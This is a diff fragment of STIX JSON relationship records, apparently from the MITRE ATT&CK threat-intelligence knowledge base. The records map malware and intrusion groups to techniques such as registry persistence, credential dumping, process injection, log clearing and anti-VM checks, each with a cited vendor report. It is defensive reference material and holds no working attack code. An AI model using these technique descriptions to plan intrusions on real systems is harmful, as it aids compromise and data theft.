"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can collect the current time zone information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.085Z", + "id": "relationship--a3d44c1d-2833-4355-b560-2a7a4fcaac14", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.884Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077", + "description": "As part of the data reconnaissance phase, [Proxysvc](https://attack.mitre.org/software/S0238) grabs the system time to send back to the control server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.169Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses reg add to add a Registry Run key for persistence.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5bbe7733-4e20-4ee1-a29c-b8e7111781dd", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Agent.btz](https://attack.mitre.org/software/S0092) attempts to download an encrypted binary from a specified domain.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0", + "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.", + "source_name": "ThreatExpert Agent.btz", + "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830", + "description": "[Catchamas](https://attack.mitre.org/software/S0261) obtains application windows titles and then determines which windows to perform [Screen Capture](https://attack.mitre.org/techniques/T1113) on.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d93fb52b-985e-4012-9b9f-8638e35c18a0", + "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.", + "source_name": "Symantec Catchamas April 2018", + "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:15.975Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7", + "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to identify any anti-virus installed on the infected system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3", + "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.", + "source_name": "Zscaler Kasidet", + "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) queries the Registry for specific keys for potential privilege escalation and proxy information. [FELIXROOT](https://attack.mitre.org/software/S0267) has also used WMI to query the Windows Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4f5c53df-7076-4580-bd45-c4c9201269ae", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "modified": "2019-01-30T13:42:09.714Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "source_name": "ESET GreyEnergy Oct 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[pngdowner](https://attack.mitre.org/software/S0067) uses HTTP for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5", + "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate drive types.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976", + "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", + "source_name": "Cylance Shell Crew Feb 2017", + "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.195Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.", + "source_name": "F-Secure Sofacy 2015", + "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used [Mimikatz](https://attack.mitre.org/software/S0002) to generate Kerberos golden tickets.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--42049cfe-e374-4726-9832-3ad01d8466a5", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.393Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used a DLL known as SeDll to decrypt and execute other JavaScript backdoors.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--bb870870-2dfb-4ff3-9e17-6a75476d9be4", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.193Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OopsIE](https://attack.mitre.org/software/S0264) checks for information on the CPU fan, temperature, mouse, hard disk, and motherboard as part of its anti-VM checks.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6a289837-2455-471b-81e4-b677550ab77b", + "source_ref": "malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c", + "modified": "2019-04-24T23:40:23.370Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.", + "source_name": "Unit 42 OilRig Sept 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Pupy](https://attack.mitre.org/software/S0192) has a module to clear event logs with PowerShell.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c84e0640-82fe-4bb7-b0e1-99b6a746970c", + "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4", + "modified": "2019-04-24T17:52:47.768Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub Pupy", + "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.", + "url": "https://github.com/n1nj4sec/pupy" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--149a056e-9061-4345-a46a-c1f73653d16a", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "The [JHUHUGIT](https://attack.mitre.org/software/S0044) dropper can delete itself from the victim. Another [JHUHUGIT](https://attack.mitre.org/software/S0044) variant has the capability to delete specified files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--edaa004e-8239-40d8-a4f0-8849c4f0e87f", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.188Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + }, + { + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "source_name": "Unit 42 Sofacy Feb 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) communicates over common ports such as TCP 80, 443, and 25.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a23ab6bc-e5cc-46a9-b77f-747ae6fc6a9b", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "Some [Sakula](https://attack.mitre.org/software/S0074) samples use cmd.exe to delete temporary files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e2e91dcc-87b0-4ff8-a6cd-0dfd6a813483", + "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.", + "source_name": "Dell Sakula", + "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may enumerate user directories on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9670979e-9785-45f0-a470-f591c97f6f8a", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[Mis-Type](https://attack.mitre.org/software/S0084) may create a file containing the results of the command cmd.exe /c net user {Username}.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a33c172b-9910-4f36-8373-32126201144b", + "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Orz](https://attack.mitre.org/software/S0229) can gather victim proxy information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--c6f0fa41-e240-4184-a0d4-292fb46de3fa", + "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b", + "modified": "2019-09-16T18:01:16.135Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "source_name": "Proofpoint Leviathan Oct 2017", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dc31fe1e-d722-49da-8f5f-92c7b5aff534", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) used an open-source tool, Phishery, to inject malicious remote template URLs into Microsoft Word documents and then sent them to victims to enable [Forced Authentication](https://attack.mitre.org/techniques/T1187).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e3a3186e-2ce7-4d46-836e-dc024464ede7", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "modified": "2019-04-22T19:23:13.478Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Phishery Aug 2018", + "description": "Falcone, R. (2018, August 07). DarkHydrus Uses Phishery to Harvest Credentials in the Middle East. Retrieved August 10, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-darkhydrus-uses-phishery-harvest-credentials-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f", + "description": "A [JHUHUGIT](https://attack.mitre.org/software/S0044) variant accesses a screenshot saved in the clipboard and converts it to a JPG image.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--83aac36d-6dfa-4c27-b1b1-c200c9240eb9", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.278Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[POWRUNER](https://attack.mitre.org/software/S0184) may query the Registry by running reg query on a victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d078f862-c090-4e79-808b-ff69887a920c", + "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "source_name": "FireEye APT34 Dec 2017", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "If running in a Windows environment, [Kazuar](https://attack.mitre.org/software/S0265) saves a DLL to disk that is injected into the explorer.exe process to execute the payload. [Kazuar](https://attack.mitre.org/software/S0265) can also be configured to inject and execute within specific processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7b2329e5-eacf-4626-bc3c-43331bc09aef", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.622Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) looks for specific files and file types.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ddbbd283-6874-4348-82c7-98df6d59ac41", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b7ba276-eedc-4951-a762-0ceea2c030ec", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) steals files based on an extension list if a USB drive is connected to the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--565da748-a5c8-417c-8c55-828c6e9f2c35", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.171Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) has used a Registry Run key to establish persistence by executing JavaScript code within the rundll32.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--5d0263d9-ddd3-4195-96ae-e340caef9e0e", + "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2", + "modified": "2019-02-01T14:39:36.290Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.", + "source_name": "ESET Sednit Part 1", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) obfuscates strings using a custom stream cipher.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e6f5bde4-869f-4c9a-9414-11ea48386204", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", 